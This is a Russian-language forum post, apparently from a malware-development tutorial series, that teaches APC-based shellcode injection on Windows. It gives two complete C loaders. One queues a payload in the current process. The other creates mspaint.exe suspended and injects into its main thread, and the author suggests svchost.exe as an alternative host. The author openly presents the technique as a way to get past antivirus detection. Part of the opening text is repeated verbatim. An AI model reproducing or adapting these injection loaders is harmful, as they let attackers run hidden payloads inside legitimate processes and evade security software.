D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: shqnx
Специально для XSS.is
Часть 1
Часть 2
Часть 3
Часть 4
APC (Asynchronous Procedure Call) — это функция, которая позволяет выполнять код в контексте определённого процесса.
Каждый поток имеет свою собственную очередь APC. Добавление APC в очередь является запросом к потоку для вызова этого APC. А теперь перейдём к функции QueueUserAPC():
Источник
Название этой функции говорит само за себя. Всё, что она делает — это добавляет APC в очередь указанного потока. Однако, для того, чтобы добавленный в очередь APC был вызван, поток должен находиться в так называемом "alertable state", которое для удобства я буду называть состоянием готовности. Отсюда вытекает вполне разумный вопрос, что же это за состояние готовности? Давайте разбираться.
Итак, поток переходит в состояние готовности при помощи вызова одной из следующих функций:
1. SleepEx()
Источник
2. WaitForSingleObjectEx()
Источник
3. WaitForMultipleObjectsEx()
Источник
4. MsgWaitForMultipleObjectsEx()
Источник
Можно заметить, что у всех этих функций есть общий параметр, bAlertable. Так вот, поток находится в состоянии готовности при bAlertable, равном TRUE.
На этом основная необходимая для начала теория заканчивается. Далее уже в процессе практики буду делать небольшие вставки с пояснениями.
Первым делом реализуем самую простую вариацию APC-инъекции, в которой шелл-код будет выполняться внутри текущего процесса. Приступаем к написанию кода:
C: Скопировать в буфер обмена
Итак, всё начинается вполне себе обычным образом, если сравнивать с первой частью в данной серии статей, за исключением строки:
Что же такое GetCurrentProcess()? Объясню, GetCurrentProcess() — это функция, которая позволяет извлекать псевдо хэндл для текущего процесса. Это простая и одновременно очень хорошая вещь в контексте данной программы. Псевдо хэндл представляет собой специальную константу, которую можно интерпретировать как текущий хэндл процесса. Лучше лишний раз рассказать, чтобы слово "псевдо" не вызывало сомнений =)
Кстати говоря, раз уж мы работаем с текущим процессом, для выделения памяти в нём также можно использовать функцию VirtualAlloc(), выглядеть это будет следующим образом:
Двигаемся дальше:
C: Скопировать в буфер обмена
Вновь используем GetCurrentProcess() вместо привычного hProcess, в остальном всё без изменений. Переходим дальше:
C: Скопировать в буфер обмена
И вот, наконец, долгожданная функция QueueUserAPC(). Быстренько пройдёмся по ней.
Источник
Итак, мы видим, что у этой функции всего три параметра. Разберём каждый из них по отдельности:
1. (PAPCFUNC)rBuffer — указатель на функцию типа PAPCFUNC. Что за тип такой, этот ваш PAPCFUNC? PAPCFUNC — это тип данных, который используется в Windows API для представления указателя на функцию, которая будет вызываться по завершении асинхронной операции. В нашем случае rBuffer содержит адрес функции, которая должна быть вызвана;
2. GetCurrentThread() — хэндл текущего потока, в контексте которого будет вызван APC;
3. NULL — опциональные данные, которые можно передать функции. В нашей ситуации этот параметр не используется.
[!] Попрошу заметить, что для функции QueueUserAPC() не определены значения ошибок, которые можно получить, вызвав GetLastError() [!]
Напоследок вызываем функцию WaitForSingleObjectEx() для установки потока в состояние готовности. Как я уже говорил ранее, вы также можете использовать SleepEx(), WaitForMultipleObjectsEx() или MsgWaitForMultipleObjectsEx() для этой самой задачи.
Лично я использовал PoC шелл-код, который просто открывает калькулятор. Ну и как же без скриншота с результатом =)
Спойлер: Полный код
C: Скопировать в буфер обмена
Теперь напишем другую вариацию данной инъекции, которая будет совсем чуть-чуть сложнее первой:
C: Скопировать в буфер обмена
Итак, быстренько пройдемся по тому, чего в прошлых статьях данной серии мы не обсуждали:
1. STARTUPINFOA и PROCESS_INFORMATION — структуры, используемые в Windows API для создания и управления процессами. Разберём поподробнее каждую из них:
STARTUPINFO — структура, которая содержит информацию о том, как запустить процесс, в том числе его начальное состояние окна и другие параметры. В данном случае используется структура STARTUPINFOA, которая предназначена для работы с ANSI-символами (8-битные символы). Мы инициализируем эту структуру нулём. Это означает, что все члены структуры будут установлены в нулевые значения;
Источник
PROCESS_INFORMATION — структура, которая используется для получения информации о созданном процессе и его потоке. По аналогии со STARTUPINFOA, инициализируем эту структуру нулём. Она включает в себя:
hProcess — хэндл процесса;
hThread — хэндл основного потока процесса;
dwProcessId — идентификатор процесса;
dwThreadId — идентификатор основного потока;
Источник
2. CreateProcessA — функция из Windows API, которая создает новый процесс и его основной поток. В отличие от CreateProcessW, функция CreateProcessA работает с ANSI-строками (то есть, строками, закодированными в формате ASCII).
Источник
Быстренько пройдёмся по параметрам данной функции:
lpApplicationName — имя исполняемого модуля, в строке можно указать полный путь к исполняемому файлу, который будет запущен. В моём сценарии в качестве исполняемого файла выступает mspaint.exe, однако никто не запрещает вам создать процесс условного svchost.exe или чего-нибудь другого;
lpCommandLine — командная строка для выполнения. Так как значение данного параметра у нас NULL, в качестве командной строки будет выступать строка, которая установлена в значении параметра lpApplicationName;
lpProcessAttributes — указатель на структуру SECURITY_ATTRIBUTES, которая определяет безопасность процесса. Если значение NULL, процесс наследует атрибуты безопасности родительского процесса;
lpThreadAttributes — аналогично с lpProcessAttributes, за исключением того, что тут речь про основной поток, а не про процесс;
bInheritHandles — указывает, следует ли наследовать хэндлы из родительского процесса. В нашем случае значение FALSE, поэтому хэндлы процесса не будут наследоваться;
dwCreationFlags — флаги, которые управляют классом приоритета и созданием процесса. В нашем случае необходимо создать процесс с флагом CREATE_SUSPENDED, иными словами создать процесс в приостановленном состоянии (далее будет объяснение почему именно так);
lpEnvironment — указатель на блок среды для нового процесса. В нашем случае установлено значение NULL, поскольку мы хотим наследовать блок среды по умолчанию;
lpCurrentDirectory — указывает на текущую директорию для нового процесса. Указывая значение NULL, мы будем использовать текущий каталог родительского процесса;
lpStartupInfo — указатель на структуру STARTUPINFO, которую мы уже рассмотрели ранее;
lpProcessInformation — указатель на структуру PROCESS_INFORMATION, которую мы также уже рассмотрели ранее.
Двигаемся дальше:
C: Скопировать в буфер обмена
Используем уже рассмотренную выше структуру PROCESS_INFORMATION для получения хэндла процесса (PI.hProcess). А всё остальное уже обсуждалось. Следующий и финальный шаг:
C: Скопировать в буфер обмена
Касаемо QueueUserAPC(), единственное из того что тут поменялось, так это способ обозначения хэндла потока через структуру PROCESS_INFORMATION (PI.hThread). Далее после добавления APC в очередь мы возобновляем выполнение потока для того, чтобы успешно вызвать наш APC. В этом и заключается смысл данного варианта выполнения APC-инъекции. Изначально мы создаём процесс с флагом CREATE_SUSPENDED. И делаем мы это не просто так, потому что захотелось. Суть заключается в том, что основной поток процесса, созданного с этим флагом, не запускается до тех пор, пока мы явно не вызовем функцию ResumeThread(). Подытожим теперь, так как поток был в состоянии готовности из-за использования флага CREATE_SUSPENDED при создании процесса, мы смогли успешно вызвать добавленный в очередь во время "спячки" потока APC.
Спойлер: Полный код
C: Скопировать в буфер обмена
И снова скриншот с результатом =)
Специально для XSS.is
Вступление
Всем привет, дорогие читатели. В данной статье будет рассматриваться довольно простая техника выполнения инъекции, которую по степени сложности можно сравнить с самой стандартной инъекцией шелл-кода в процесс, о которой мы говорили в первой части. Здесь я буду демонстрировать два варианта данной техники, по которым мы поочерёдно пройдёмся и разберёмся в их работе. Особо опытные на вряд-ли узнают тут для себя что-либо новое, а вот новички и те, кто только собирается познать силу могучего языка Си в контексте разработки мальвари, вы попали по адресу. Для тех, кто еще не знаком с предыдущими статьями данной серии, прикрепляю ссылки:Часть 1
Часть 2
Часть 3
Часть 4
Теоретическая часть
Вот мы и переходим ко "всеми любимой" теории =) На самом деле супер сложного в данной технике действительно ничего нет, поэтому теория не будет слишком большой и нудной. Рассмотрим исключительно важные моменты. Начать я хотел бы с объяснения того, чем же эта техника отличается от самой банальной инъекции шелл-кода в процесс. Так вот, в данном случае мы можем пренебречь использованием функции CreateRemoteThread(), которая задрочена уже не то, что до мозолей, а до дыр. Взамен мы будем использовать функцию QueueUserAPC(), которую более подробно рассмотрим далее. Что нам это даёт? Как минимум, самое важное — новый опыт и новые знания. А как максимум — использование менее подозрительной для антивирусных решений функции. Именно по этим двум причинам я решил включить данную технику в эту серию статей. А теперь непосредственно к теории. Начнём пожалуй с определения этого самого APC:APC (Asynchronous Procedure Call) — это функция, которая позволяет выполнять код в контексте определённого процесса.
Каждый поток имеет свою собственную очередь APC. Добавление APC в очередь является запросом к потоку для вызова этого APC. А теперь перейдём к функции QueueUserAPC():
Источник
Название этой функции говорит само за себя. Всё, что она делает — это добавляет APC в очередь указанного потока. Однако, для того, чтобы добавленный в очередь APC был вызван, поток должен находиться в так называемом "alertable state", которое для удобства я буду называть состоянием готовности. Отсюда вытекает вполне разумный вопрос, что же это за состояние готовности? Давайте разбираться.
Итак, поток переходит в состояние готовности при помощи вызова одной из следующих функций:
1. SleepEx()
Источник
2. WaitForSingleObjectEx()
Источник
3. WaitForMultipleObjectsEx()
Источник
4. MsgWaitForMultipleObjectsEx()
Источник
Можно заметить, что у всех этих функций есть общий параметр, bAlertable. Так вот, поток находится в состоянии готовности при bAlertable, равном TRUE.
На этом основная необходимая для начала теория заканчивается. Далее уже в процессе практики буду делать небольшие вставки с пояснениями.
Практическая часть
Первым делом реализуем самую простую вариацию APC-инъекции, в которой шелл-код будет выполняться внутри текущего процесса. Приступаем к написанию кода:
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>
unsigned char payload[] = {
/* Место для вашего шелл-кода */
};
int main() {
SIZE_T payloadSize = NULL;
LPVOID rBuffer = NULL;
payloadSize = sizeof(payload);
printf("[*] Выделяем память внутри локального процесса\n");
rBuffer = VirtualAllocEx(GetCurrentProcess(), NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("[+] Память внутри локального процесса успешно выделена\n");
if (rBuffer == NULL) {
printf("[!] Не удалось выделить память внутри локального процесса, ошибка: 0x%1x\n", GetLastError());
return EXIT_FAILURE;
}
[ ... ]
Итак, всё начинается вполне себе обычным образом, если сравнивать с первой частью в данной серии статей, за исключением строки:
rBuffer = VirtualAllocEx(GetCurrentProcess(), NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Нажмите, чтобы раскрыть...
Что же такое GetCurrentProcess()? Объясню, GetCurrentProcess() — это функция, которая позволяет извлекать псевдо хэндл для текущего процесса. Это простая и одновременно очень хорошая вещь в контексте данной программы. Псевдо хэндл представляет собой специальную константу, которую можно интерпретировать как текущий хэндл процесса. Лучше лишний раз рассказать, чтобы слово "псевдо" не вызывало сомнений =)
Кстати говоря, раз уж мы работаем с текущим процессом, для выделения памяти в нём также можно использовать функцию VirtualAlloc(), выглядеть это будет следующим образом:
rBuffer = VirtualAlloc(NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Нажмите, чтобы раскрыть...
Двигаемся дальше:
C: Скопировать в буфер обмена
Код:
[ ... ]
printf("[*] Записываем пэйлоад в выделенную память\n");
if (!WriteProcessMemory(GetCurrentProcess(), rBuffer, payload, payloadSize, NULL) == 0) {
printf("[+] Запись пэйлоада в выделенную память успешно завершена\n");
}
else {
printf("[!] Не удалось записать пэйлоад в выделенную память, ошибка: 0x%lx\n", GetLastError());
return EXIT_FAILURE;
}
[ ... ]
Вновь используем GetCurrentProcess() вместо привычного hProcess, в остальном всё без изменений. Переходим дальше:
C: Скопировать в буфер обмена
Код:
[ ... ]
printf("[*] Добавляем APC в очередь\n");
if (!QueueUserAPC((PAPCFUNC)rBuffer, GetCurrentThread(), NULL) == 0) {
printf("[+] APC успешно добавлен в очередь потока\n");
}
else
{
printf("[!] Не удалось добавить APC в очередь\n");
return EXIT_FAILURE;
}
printf("[*] Вызываем WaitForSingleObjectEx()");
WaitForSingleObjectEx(GetCurrentThread(), INFINITE, TRUE);
return EXIT_SUCCESS;
}
И вот, наконец, долгожданная функция QueueUserAPC(). Быстренько пройдёмся по ней.
Источник
Итак, мы видим, что у этой функции всего три параметра. Разберём каждый из них по отдельности:
1. (PAPCFUNC)rBuffer — указатель на функцию типа PAPCFUNC. Что за тип такой, этот ваш PAPCFUNC? PAPCFUNC — это тип данных, который используется в Windows API для представления указателя на функцию, которая будет вызываться по завершении асинхронной операции. В нашем случае rBuffer содержит адрес функции, которая должна быть вызвана;
2. GetCurrentThread() — хэндл текущего потока, в контексте которого будет вызван APC;
3. NULL — опциональные данные, которые можно передать функции. В нашей ситуации этот параметр не используется.
[!] Попрошу заметить, что для функции QueueUserAPC() не определены значения ошибок, которые можно получить, вызвав GetLastError() [!]
Напоследок вызываем функцию WaitForSingleObjectEx() для установки потока в состояние готовности. Как я уже говорил ранее, вы также можете использовать SleepEx(), WaitForMultipleObjectsEx() или MsgWaitForMultipleObjectsEx() для этой самой задачи.
Лично я использовал PoC шелл-код, который просто открывает калькулятор. Ну и как же без скриншота с результатом =)
Спойлер: Полный код
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>
unsigned char payload[] = {
/* Место для вашего шелл-кода */
};
int main() {
SIZE_T payloadSize = NULL;
LPVOID rBuffer = NULL;
payloadSize = sizeof(payload);
printf("[*] Выделяем память внутри локального процесса\n");
rBuffer = VirtualAllocEx(GetCurrentProcess(), NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("[+] Память внутри локального процесса успешно выделена\n");
if (rBuffer == NULL) {
printf("[!] Не удалось выделить память, ошибка: 0x%1x\n", GetLastError());
return EXIT_FAILURE;
}
printf("[*] Записываем пэйлоад в выделенную память\n");
if (!WriteProcessMemory(GetCurrentProcess(), rBuffer, payload, payloadSize, NULL) == 0) {
printf("[+] Запись пэйлоада в выделенную память успешно завершена\n");
}
else {
printf("[!] Не удалось записать пэйлоад в выделенную память, ошибка: 0x%lx\n", GetLastError());
return EXIT_FAILURE;
}
printf("[*] Добавляем APC в очередь\n");
if (!QueueUserAPC((PAPCFUNC)rBuffer, GetCurrentThread(), NULL) == 0) {
printf("[+] APC успешно добавлен в очередь потока\n");
}
else
{
printf("[!] Не удалось добавить APC в очередь\n");
return EXIT_FAILURE;
}
printf("[*] Вызываем WaitForSingleObjectEx()");
WaitForSingleObjectEx(GetCurrentThread(), INFINITE, TRUE);
return EXIT_SUCCESS;
}
Теперь напишем другую вариацию данной инъекции, которая будет совсем чуть-чуть сложнее первой:
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>
unsigned char payload[] = {
/*---[Место для вашего шелл-кода]---*/
};
int main() {
STARTUPINFOA SI = { 0 };
PROCESS_INFORMATION PI = { 0 };
SIZE_T payloadSize = NULL;
LPVOID rBuffer = NULL;
printf("[*] Создаём новый процесс\n");
if (CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
printf("[+] Процесс успешно создан\n");
}
else {
printf("[!] Не удалось создать процесс, ошибка: 0x%1x\n", GetLastError());
return EXIT_FAILURE;
}
[...]
Итак, быстренько пройдемся по тому, чего в прошлых статьях данной серии мы не обсуждали:
1. STARTUPINFOA и PROCESS_INFORMATION — структуры, используемые в Windows API для создания и управления процессами. Разберём поподробнее каждую из них:
STARTUPINFO — структура, которая содержит информацию о том, как запустить процесс, в том числе его начальное состояние окна и другие параметры. В данном случае используется структура STARTUPINFOA, которая предназначена для работы с ANSI-символами (8-битные символы). Мы инициализируем эту структуру нулём. Это означает, что все члены структуры будут установлены в нулевые значения;
Источник
PROCESS_INFORMATION — структура, которая используется для получения информации о созданном процессе и его потоке. По аналогии со STARTUPINFOA, инициализируем эту структуру нулём. Она включает в себя:
hProcess — хэндл процесса;
hThread — хэндл основного потока процесса;
dwProcessId — идентификатор процесса;
dwThreadId — идентификатор основного потока;
Источник
2. CreateProcessA — функция из Windows API, которая создает новый процесс и его основной поток. В отличие от CreateProcessW, функция CreateProcessA работает с ANSI-строками (то есть, строками, закодированными в формате ASCII).
Источник
Быстренько пройдёмся по параметрам данной функции:
lpApplicationName — имя исполняемого модуля, в строке можно указать полный путь к исполняемому файлу, который будет запущен. В моём сценарии в качестве исполняемого файла выступает mspaint.exe, однако никто не запрещает вам создать процесс условного svchost.exe или чего-нибудь другого;
lpCommandLine — командная строка для выполнения. Так как значение данного параметра у нас NULL, в качестве командной строки будет выступать строка, которая установлена в значении параметра lpApplicationName;
lpProcessAttributes — указатель на структуру SECURITY_ATTRIBUTES, которая определяет безопасность процесса. Если значение NULL, процесс наследует атрибуты безопасности родительского процесса;
lpThreadAttributes — аналогично с lpProcessAttributes, за исключением того, что тут речь про основной поток, а не про процесс;
bInheritHandles — указывает, следует ли наследовать хэндлы из родительского процесса. В нашем случае значение FALSE, поэтому хэндлы процесса не будут наследоваться;
dwCreationFlags — флаги, которые управляют классом приоритета и созданием процесса. В нашем случае необходимо создать процесс с флагом CREATE_SUSPENDED, иными словами создать процесс в приостановленном состоянии (далее будет объяснение почему именно так);
lpEnvironment — указатель на блок среды для нового процесса. В нашем случае установлено значение NULL, поскольку мы хотим наследовать блок среды по умолчанию;
lpCurrentDirectory — указывает на текущую директорию для нового процесса. Указывая значение NULL, мы будем использовать текущий каталог родительского процесса;
lpStartupInfo — указатель на структуру STARTUPINFO, которую мы уже рассмотрели ранее;
lpProcessInformation — указатель на структуру PROCESS_INFORMATION, которую мы также уже рассмотрели ранее.
Двигаемся дальше:
C: Скопировать в буфер обмена
Код:
[ ... ]
payloadSize = sizeof(payload);
printf("[*] Выделяем память в созданном процессе\n");
rBuffer = VirtualAllocEx(PI.hProcess, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("[+] Память в созданном процессе успешно выделена\n");
if (rBuffer == NULL) {
printf("[!] Не удалось выделить память в созданном процессе, ошибка: 0x%1x\n", GetLastError());
return EXIT_FAILURE;
}
printf("[*] Записываем пэйлоад в выделенную память\n");
if (!WriteProcessMemory(PI.hProcess, rBuffer, payload, payloadSize, NULL) == 0) {
printf("[+] Запись пэйлоада в выделенную память успешно завершена\n");
}
else {
printf("[!] Не удалось записать пэйлоад в выделенную память, ошибка: 0x%lx\n", GetLastError());
return EXIT_FAILURE;
}
[ ... ]
Используем уже рассмотренную выше структуру PROCESS_INFORMATION для получения хэндла процесса (PI.hProcess). А всё остальное уже обсуждалось. Следующий и финальный шаг:
C: Скопировать в буфер обмена
Код:
[ ... ]
printf("[*] Добавляем APC в очередь\n");
if (!QueueUserAPC((PAPCFUNC)rBuffer, PI.hThread, NULL) == 0) {
printf("[+] APC успешно добавлен в очередь\n");
}
else
{
printf("[!] Не удалось добавить APC в очередь\n");
return EXIT_FAILURE;
}
printf("[*] Возобновляем выполнение потока\n");
ResumeThread(PI.hThread);
printf("[*] Ждём завершения выполнения потока\n");
WaitForSingleObject(PI.hThread, INFINITE);
printf("[+] Поток завершил выполнение\n");
printf("[*] Очистка");
CloseHandle(PI.hProcess);
CloseHandle(PI.hThread);
return EXIT_SUCCESS;
}
Касаемо QueueUserAPC(), единственное из того что тут поменялось, так это способ обозначения хэндла потока через структуру PROCESS_INFORMATION (PI.hThread). Далее после добавления APC в очередь мы возобновляем выполнение потока для того, чтобы успешно вызвать наш APC. В этом и заключается смысл данного варианта выполнения APC-инъекции. Изначально мы создаём процесс с флагом CREATE_SUSPENDED. И делаем мы это не просто так, потому что захотелось. Суть заключается в том, что основной поток процесса, созданного с этим флагом, не запускается до тех пор, пока мы явно не вызовем функцию ResumeThread(). Подытожим теперь, так как поток был в состоянии готовности из-за использования флага CREATE_SUSPENDED при создании процесса, мы смогли успешно вызвать добавленный в очередь во время "спячки" потока APC.
Спойлер: Полный код
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>
unsigned char payload[] = {
/*---[Место для вашего шелл-кода]---*/
};
int main() {
STARTUPINFOA SI = { 0 };
PROCESS_INFORMATION PI = { 0 };
SIZE_T payloadSize = NULL;
LPVOID rBuffer = NULL;
printf("[*] Создаём новый процесс\n");
if (CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
printf("[+] Процесс успешно создан\n");
}
else {
printf("[!] Не удалось создать процесс, ошибка: 0x%1x\n", GetLastError());
return EXIT_FAILURE;
}
payloadSize = sizeof(payload);
printf("[*] Выделяем память в созданном процессе\n");
rBuffer = VirtualAllocEx(PI.hProcess, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("[+] Память в созданном процессе успешно выделена\n");
if (rBuffer == NULL) {
printf("[!] Не удалось выделить память в созданном процессе, ошибка: 0x%1x\n", GetLastError());
return EXIT_FAILURE;
}
printf("[*] Записываем пэйлоад в выделенную память\n");
if (!WriteProcessMemory(PI.hProcess, rBuffer, payload, payloadSize, NULL) == 0) {
printf("[+] Запись пэйлоада в выделенную память успешно завершена\n");
}
else {
printf("[!] Не удалось записать пэйлоад в выделенную память, ошибка: 0x%lx\n", GetLastError());
return EXIT_FAILURE;
}
printf("[*] Добавляем APC в очередь\n");
if (!QueueUserAPC((PAPCFUNC)rBuffer, PI.hThread, NULL) == 0) {
printf("[+] APC успешно добавлен в очередь\n");
}
else
{
printf("[!] Не удалось добавить APC в очередь\n");
return EXIT_FAILURE;
}
printf("[*] Возобновляем выполнение потока\n");
ResumeThread(PI.hThread);
printf("[*] Ждём завершения выполнения потока\n");
WaitForSingleObject(PI.hThread, INFINITE);
printf("[+] Поток завершил выполнение\n");
printf("[*] Очистка");
CloseHandle(PI.hProcess);
CloseHandle(PI.hThread);
return EXIT_SUCCESS;
}
И снова скриншот с результатом =)
Заключение
Итак, в данной статье мы разобрали смысл использования функции QueueUserAPC() для инъекции нашего пэйлоада в процесс. Статья получилась довольно простая для понимания. Я считаю, что APC-инъекция, хотя бы в таком простеньком виде, но всё таки должна быть хоть как-то обговорена в рамках данной серии статей. Всем спасибо, кто дочитал до этого момента =) Всем успехов!